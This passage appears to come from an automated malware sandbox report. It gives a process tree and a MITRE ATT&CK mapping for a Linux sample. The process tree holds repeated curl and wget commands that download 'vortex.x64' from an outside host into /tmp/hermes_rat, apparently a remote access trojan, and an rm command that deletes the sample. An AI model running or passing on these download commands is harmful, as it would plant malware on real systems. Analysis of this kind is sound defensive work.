  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1113
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1115
- /bin/sleep
  sleep 2
  2⤵
  PID:1116
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1117
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1119
- /bin/sleep
  sleep 2
  2⤵
  PID:1120
- /bin/rm
  rm -f /tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
  2⤵
  PID:1121

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable